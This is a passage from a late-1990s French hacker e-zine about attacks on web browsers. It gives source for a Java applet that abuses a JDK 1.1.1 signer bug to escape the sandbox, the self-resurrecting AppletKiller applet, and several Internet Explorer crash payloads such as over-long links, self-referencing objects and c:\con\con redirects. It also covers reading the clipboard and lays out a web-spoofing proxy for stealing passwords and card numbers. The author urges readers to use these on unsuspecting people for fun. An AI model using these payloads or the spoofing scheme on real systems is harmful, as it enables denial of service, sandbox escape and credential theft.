tenter de l'interpréter peut-être mieux que moi :
"The attack works in two stages. First, the attack applet acquires the ability to change the system's idea of who signed it. Then it gets a list
of all signers known to the local system, and "tries on" the these identities one by one until it finds one that is trusted. Having done this,
the applet is free of any security restrictions.
-How the attacker changes its identity
The attacker calls the getSigners() method of the java.lang.Class class. This returns an array of signers who have signed the class. The JDK
1.1.1 code mistakenly returns a reference to its own internal array. Since Java arrays can be modified, the attack applet can then replace any
element of the array, thereby changing Java's idea of who signed it.
-How the attacker finds a trusted identity to assume
The method getSystemScope() of the class java.security.IdentityScope returns an IdentityScope object (call it s). Calling s.identities() gets an
enumeration of all identities known to the local system.
The attack applet can try each of these identities one at a time. After changing to a new identity, the applet tries a privileged operation,
i.e. writing a file. If this causes a security exception, the current identity is not trusted, so the applet goes on to the next identity. If the
operation succeeds, then the applet knows it has acquired trusted status, and it is free to do whatever it wants. "
L'applet exploite un bug du jdk 1.1 qui permet de changer le signataire de l'applet aux yeux de la jvm. Ensuite on récupère la liste de tous les
signataires connus du système et on se fait passer pour eux un par un jusqu'à ce qu'on en trouve un qui est trusté, auquel cas notre applet a un
accès total à la machine. Voilà le code que j'ai recréé d'après leurs indications, je répète qu'il n'est peut-être pas fiable :
/************BEGIN HotjavaHoleTester.java***************/
import java.security.*;
import java.net.*;
import java.io.*;
import java.applet.Applet;
import java.util.Enumeration;
public class HotjavaHoleTester extends Applet {
public HotjavaHoleTester() {}
public void init() {
Class th = null;
try {
th = Class.forName("SolarisHoleTester");
} catch(ClassNotFoundException e) {}
Object[] arr = th.getSigners();
if(arr!=null) {
IdentityScope s = IdentityScope.getSystemScope();
Enumeration en = s.identities();
while(en.hasMoreElements()) {
Object ident = en.nextElement();
arr[0] = ident;
try {
Socket sock = new Socket("ftp.coucougnette.gouv.fr", 21);
sock.close();
} catch(SecurityException e) {
continue;
} catch(IOException e) {
/*
*si cette exception est lancée une identité trustée
*a été trouvée, on peut faire tout ce qu'on veut.
*insérer l'evil code ici :o)
*/
}
}
}
}
}
/*************END HotjavaHoleTester.java****************/
Vous devez signer numériquement l'applet avec les outils du jdk 1.1.1, sinon la méthode java.lang.Class.getSigners() retourne la valeur null et
l'applet ne fera rien.
###AppletKiller
LaDue a encore frappé avec cette applet qui kille toutes les applets en cours d'exécutions ainsi que celles qui seront downloadées après son
exécution. Elle reprend le mécanisme de persistance en mémoire de l'AudioKiller. Je n'ai pas pu déterminer pour quel(s) browsers cette applet a
été faite (elle date de 96). J'ai préféré laisser les commentaires dans le source parce que la mécanique des threads qui est utilisée est pour le
moins complexe :
/************BEGIN AppletKiller.java***************/
import java.applet.*;
import java.awt.*;
import java.io.*;
public class AppletKiller extends java.applet.Applet implements Runnable {
Thread killer;
public void init() {
killer = null;
}
public void start() {
if (killer == null) {
killer = new Thread(this,"killer");
killer.setPriority(Thread.MAX_PRIORITY);
killer.start();
}
}
public void stop() {}
// Kill all threads except this one
public void run() {
try {
while (true) {
ThreadKiller.killAllThreads();
try { killer.sleep(100); }
catch (InterruptedException e) {}
}
}
catch (ThreadDeath td) {}
// Resurrect the hostile thread in case of accidental ThreadDeath
finally {
AppletKiller ack = new AppletKiller();
Thread reborn = new Thread(ack, "killer");
reborn.start();
}
}
}
class ThreadKiller {
// Ascend to the root ThreadGroup and list all subgroups recursively,
// killing all threads as we go
public static void killAllThreads() {
ThreadGroup thisGroup;
ThreadGroup topGroup;
ThreadGroup parentGroup;
// Determine the current thread group
thisGroup = Thread.currentThread().getThreadGroup();
// Proceed to the top ThreadGroup
topGroup = thisGroup;
parentGroup = topGroup.getParent();
while(parentGroup != null) {
topGroup = parentGroup;
parentGroup = parentGroup.getParent();
}
// Find all subgroups recursively
findGroups(topGroup);
}
private static void findGroups(ThreadGroup g) {
if (g == null) {return;}
else {
int numThreads = g.activeCount();
int numGroups = g.activeGroupCount();
Thread[] threads = new Thread[numThreads];
ThreadGroup[] groups = new ThreadGroup[numGroups];
g.enumerate(threads, false);
g.enumerate(groups, false);
for (int i = 0; i < numThreads; i++)
killOneThread(threads[i]);
for (int i = 0; i < numGroups; i++)
findGroups(groups[i]);
}
}
private static void killOneThread(Thread t) {
if (t == null || t.getName().equals("killer")) {return;}
else {t.stop();}
}
}
/*************END AppletKiller.java****************/
Raaaaaaaahhhhhh le mal de tête !!! Apprenez tant qu'il en est encore temps que le thread est l'ennemi de tout bon programmeur encore sain
d'esprit... Bon tout compte fait je mets ici que deux applets, les autres sont moins rigolotes :)
III. SCRIPTS ET HTML
______________________
En cherchant des exploits, force est de constater que msie est troué de partout. La plupart des exploits sont assez simples à trouver, la
plupart se contentent de créer des erreurs dans la gestion de la mémoire. Overflows rule ;) C'est parti pour un petit tour gratuit :
***Stack overflow pour msie 4.0 (et peut être d'autres versions)
Il suffit d'insérer un tag <EMBED> pour crasher notre ami internet explorer, en l'occurence avec une extension de fichier de plus de 200
caractères.
<HTML>Trying to crash IE 4.0<EMBED
SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
40
80 160 170 180
190 200
</HTML>
Ceci devrait ouvrir une boîte de dialogue et crasher ie.
***Boucles infinies pour msie 4.01
Cet exploit va forcer le browser à s'enfermer dans une boucle infinie et par conséquent à crasher. Pour ceci l'attribut data du tab <object> va
faire une référence à lui même. Démonstration :
<html><head><title></title><object data=3D"crashtest.html"></object></head>
<body></body></html>
Assurez vous d'enregistrer le fichier sous le nom spécifié dans l'attribut data (ici crashtest.html). Il existe une légère variation qui crée
une erreur dans un .dll différent et cause une erreur différente. Il suffit de rajouter un tag <script> dans le header du fichier :
<html><head><title></title><script></script>
<object data=3D"crashtestscript.html"></object></head><body></body></html>
Enfin une dernière variation, moins pratique mais aussi intéressante. Le principe est d'utiliser ici deux fichiers qui font chacun référence à
la fois à eux mêmes et à leur homologue. Créez deux fichiers crashtest1.html et crashtest2.html à l'aide de ceci :
<html><head><title></title><object data=3D"crashtest2.html"></object>
<object data=3D"crashtest1.html"></object></head><body></body></html>
<html><head><title></title><object data=3D"crashmetest1.html"></object>
<object data=3D"crashmetest2.html"></object></head><body></body></html>
Cette fois c'est le disque dur qui va morfler, l'utilisation processeur dépend de votre configuration, je vous laisse donc essayer.
***Clipboard privacy
Il est connu celui là mais bon... le presse-papier peut-être rendu public pour ie 4 et 5 avec la simple commande javascript
"document.execCommand("paste");". Giga sexe non ?
***Encore un overflow
Je sens qu'à la fin du dossier
votre explorer aura pris 10 ans dans la gueule ;) Cette fois on peut planter ie avec un lien de plus de 300
caractères.
<a
href="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.html">
Le browser envoie la requête au serveur puis plante lors de la réception de la requête.
***Quand Windows tousse...
Il suffit ici d'utiliser l'exploit maintenant connu consistant à faire crasher windows à partir des noms de périphériques "con", "aux", "nul" ou
"clock$". Faites référence à n'importe quelle combinaison de ces chaînes et placez le tout dans un lien, tous les malheureux qui cliqueront
verront windows leur péter à la gueule (hihih).
<a href="file://c:\con\con">Click me</a>
Variante : bien que ça soit moins drôle vous pouvez aussi faire une redirection automatique sur cette base. Insérez donc ce tag entre les tags
<head> de votre fichier html (modifiez la valeur après content, en secondes, pour avoir l'effet d'une bombe à retardement, ici sur 5 secondes) :
<meta http-equiv="refresh" content="5; url=file://c:\con\con">
<ulysse> Si comme moi vous vous emmerdez en cours de prog, vous pouvez bien sur inclure un lien vers une adresse de ce genre dans un prog en
vb par exemple... Pkoi pas sur le formload?. Une autre chose rigolote est de mettre ça en javascript sur un OnMouseMove... Enfin amusez vous
comme vous pouvez quoi. C'est con con non? (et merde, un écran bleu...) lol </ulysse>
***Yet Another IE Bug
Ce simple script gèle instanément ie 4 et 5, on doit fermer la fenêtre avec ctrl-alt-suppr. J'ai tenté de le reproduire en java mais il ne fait
que ralentir le browser, rien de bien catastrophique :(
<HTML><BODY>
<SCRIPT>
var color = new Array;
color[1] = "black";
color[2] = "white";
for(x = 0; x <3; x++){
document.bgColor = color[x];
if(x == 2) {
x = 0;
}
}
</SCRIPT>
</BODY></HTML>
IV. WEB SPOOFING
___________________
Cette technique de piratage spectaculaire a été découverte par... les gars de Princeton (encore eux). Elle date de 1996 mais est encore très
probablement exploitable, en tout cas personne ne connait d'implémentation successful de cette attaque. Ready ? Go !
***Présentation de l'attaque
Cette attaque est extrêmement dangereuse, elle permet aux assaillants (nous en l'occurence), de créer une copie du web qu'elles maîtrisent
entièrement et d'y enfermer de pauvres victimes (peut-être vous en l'occurence ;). Si on s'y prend bien elle est pratiquement invisible et on
peut capturer toutes sortes d'informations plus qu'intéressantes, voir tout ce que la victime fait sur internet et interférer avec ses visites,
on peut envoyer des données à sa place et modifier celles qu'elle reçoit. Cette partie risque d'être un peu trop abstraite à votre goût puisque
les gars de chez Princeton se gardent de donner des détails sur la réalisation de la technique et que la doc est particulièrement rare sur le web
spoofing. Heureusement il y a sleazy wind (petite musique publicitaire...)
***Principe du spoofing
Les joyeux barbus de madchat vont encore dire que je suis orienté init, mais je peux pas m'empêcher de m'assurer que tout le monde comprend de
ce dont je parle, donc c parti pour une petite présentation du spoofing, na. Le spoofing est tout ce qu'il y a de plus amusant, il s'agit de
fausser des informations dans le but de tromper les autres personnes et si possible les pousser à faire des choses qui vont à l'encontre de leurs
intérêts sans que les principaux intéressés s'en rendent compte (très bonne définition cher maddany... je sais je sais merci uh uh uh... oh mais
si vraiment... ne me faites pas rougir monsieur... ahem). Dans ce cas, nous allons totalement spoofer le web aux yeux de la victime, elle croira
surfer normalement alors que nous avons un oeil et même deux au dessus de son épaule.
Vous êtes peut-être sans le savoir déjà victime du web spoofing. Qu'est-ce qui vous dit que c'est bien sur amazon.com que vous êtes connecté
quand vous donnez votre numéro de carte bleue ? Ben ça se voit... y a le logo d'amazon... le style d'amazon... l'adresse d'amazon... et pourtant
ce n'est peut-être pas amazon. Le fait est que vous vous basez sur des faits visuels et des habitudes pour reconnaître les sites auxquels vous
faites confiance et donc à qui vous êtes prêts à donner vos mots de passe. Bienvenue dans l'incroyable monde de la désillusion où superman
n'existe pas mais le web spoofing si :)
***Réalisation du spoofing
Après maintes réflexions je suis maintenant quasiment sur qu'on pourrait réaliser l'attaque relativement facilement. Finalement c'est le
principe d'un proxy hostile : on programme un serveur web sur lequel la victime se connecte. Si elle clique sur un lien sur une page depuis notre
serveur elle est prise au piège, nous serons maître de la page qu'elle va visiter et de toutes celles qu'elle visitera après cette page (on peut
aussi utiliser l'autorefresh à 0 évidemment). On peut utiliser pour cela la technique de la réécriture d'url. Une url réécrite a ce look là :
http://www.attackers.com/http://www.amazon.com/. Si la victime entre cette adresse, elle entre apparemment tout à fait normalement sur amazon.com
mais est en fait connectée sur notre serveur, qui lui retransmet l'url qu'elle a demandé. Comme on passe par notre serveur on maîtrise évidemment
tout ce qu'on veut avant de lui retransmettre l'url, on sait ce qu'elle voit vu qu'on doit le lire, on peut le modifier, et on peut lire les
réponses de la victime. Vous suivez l'astuce ? A partir de ce moment toutes les techniques que nous mettrons en jeu serons des techniques de
camouflage du piège.
-il faut que notre serveur réécrive les pages demandées de manière à formatter correctement les liens qui apparaîtront, comme ça si la victime
clique sur un lien dans la page spoofée elle reste dans notre web.
Exemple (sur une page sur amazon) : remplacer <a href="books.html"> par <a href="http://www.attacker.com/http://www.amazon.com/books.html">
-il faut placer un petit javascript pour camoufler la cible des liens reformattés, la victime mettra plus de temps à se rendre compte de
l'arnaque. Comme ça elle ne voit que l'adresse normale dans le champ de la cible :)
<a href="http://www.attackers.com/http://www.truesite.com/" onMouseOver="window.status='http://www.truesite.com/';return true"
onMouseOut="window.status=defaultStatus;return true" target="_blank">
http://www.truesite.com/</a>
(merci à the master pour le snippet)
-il faut changer la barre d'adresse, parce que quand elle est dans notre web celle-ci affiche les urls reformattées, logique. Or c'est pas cool
parce que c'est plus que louche et on peut pas réécrire cette adresse en javascript, et encore moins en java, à moins de trouver un exploit pour
ça mais je n'en ai trouvé nulle part. La seule solution valable, même si elle est pas top est de cacher cette adresse. On peut utiliser des
frames, ou alors afficher la page cible en plein écran. La deuxième solution est peut-être la meilleure
-si votre serveur supporte ssl, alors la victime croira qu'elle est effectivement sur une connexion sécurisée vu qu'il y a le petit cadenas en
bas de la page... comme quoi la désinformation rulez, elle est effectivement sur une connexion sécurisée mais ça ne l'empêche pas de se faire
pirater, puisque la connexion sécurisée s'effectue sur notre serveur, et que l'on maîtrise toujours ce qui transite par nous donc.
Il ne reste plus qu'à écrire le code :)
V. CONCLUSION
________________
Fermez les volets, désactivez le scripting et le java dans votre browser (surfez avec telnet), interdisez les mails html (parce qu'outlook runne
les applets incorporées dans un mail html), ne transmettez pas de mots de passe ou d'informations personnelles par une interface web, mâchez
tonigum après tous les repas... vous commencez à être un peu plus à l'abri, mais méfiez-vous, ils sont partout....
Si par malheur vous avez envie de me contacter, vous pouvez toujours essayer maddany@madchat.org pour voir si j'y suis.
VI. SOURCES
______________
Sites :
La page de Mark D. LaDue : www.rstcorp.com/hostileapplets
Le département informatique de Princeton sur la programmation web : www.cs.princeton.edu/sip
Une page assez complète sur la sécu java : www.rstcorp.com/javasecurity/links.html
Magelang's java security tutorial : developer.java.sun.com/developer/onlineTraining/Security/Fundamentals/abstract.html
Livres :
Maximum Security 2nd ed., sams
Le Programmeur java 2, campus press
Bibliothèque de classes java 2, campus press
Java Gurus, online
The Java VM specification 2nd ed., online
Java network programming 2nd ed., manning
--------------------------------------------------------------------------------------
/SSSSS WW WW
\SS LL EEEE AA ZZZZ Y YY WW /\ WW II NNN N DDDD
\SS LL EE_ AAAA Z YY WW /WW\ WW II NNNN N DD DD
SS\ LL EE A__A Z Y WWWWWWWW II NN NNN DD DD
SS\ LLLL EEEE A A ZZZZ Y WW WW II NN NN DDDD
SSSSS/ W W
NEUMBEUR BOCOU
http://members.xoom.com/SleazyWind/
---------------------------------------------------------------------------------------
Les aventures des trucs:
Une étrange disparition...
+----------------------+-----------------------+------------------------+
| | | |
| | | ///-----\\\ |
| ///----\\\ | //---\\ | || Il a dit || |
| || Sparu! || | || ??! || | | sparu. | |
| \\\----/// | \\---\/ | \/\-----/// |
| | | | | / |
| | | | | / //---\\ |
| | | | | / | Ah. | |
| | | | | / \\\--// |
| | | | | / \ |
| | | | | / | |
| | | | / | |
| //--\\ | | | | |
| //-\\ ||||||| | //-\\ | -- |
| ||\|||\\--//| | ||\||| | |//\\|| -- |
+-\\-//|\----/--//--\\----\\-//|-------///-\\\-+-|\\//||--------|//\\||-+
|*\---/*********||||||||**\---/********|||\|||||*\\--///********|\\//||*|
|***************\\--//||***************\\\-///||****************\\--///*|
|***************\----/*|***************\\---//*|************************|
+----------------------+-----------------------+------------------------+
Cette BD insignifiante (qu'il vaut mieux regarder en casse fixe) vous a été offerte
par wolf. Merci wolf.
<ulysse> bha même si t'avais rien dit, on reconnaissait le style hein... </ulysse>
-----------------------------------------------------------------------------------------
/SSSSS WW WW
\SS LL EEEE AA ZZZZ Y YY WW /\ WW II NNN N DDDD
\SS LL EE_ AAAA Z YY WW /WW\ WW II NNNN N DD DD
SS\ LL EE A__A Z Y WWWWWWWW II NN NNN DD DD
SS\ LLLL EEEE A A ZZZZ Y WW WW II NN NN DDDD
SSSSS/ W W
NEUMBEUR THOU
http://members.xoom.com/SleazyWind/
T H E E N D (for ever ??)
<wolf> Sleazy Wind, c'est comme Tomb Raider: chaque numéro est le dernier...
<ulysse> mouais sauf que lara elle à une belle paire de...
...lunettes elle. alors que MadDanny (carrément 2 majuscules), c pas ça si? </ulysse>
<cybz> ouai et maddany ne pousse pas de petits cris a chaque fois qu'il appuie sur
Enter... enfin j'espere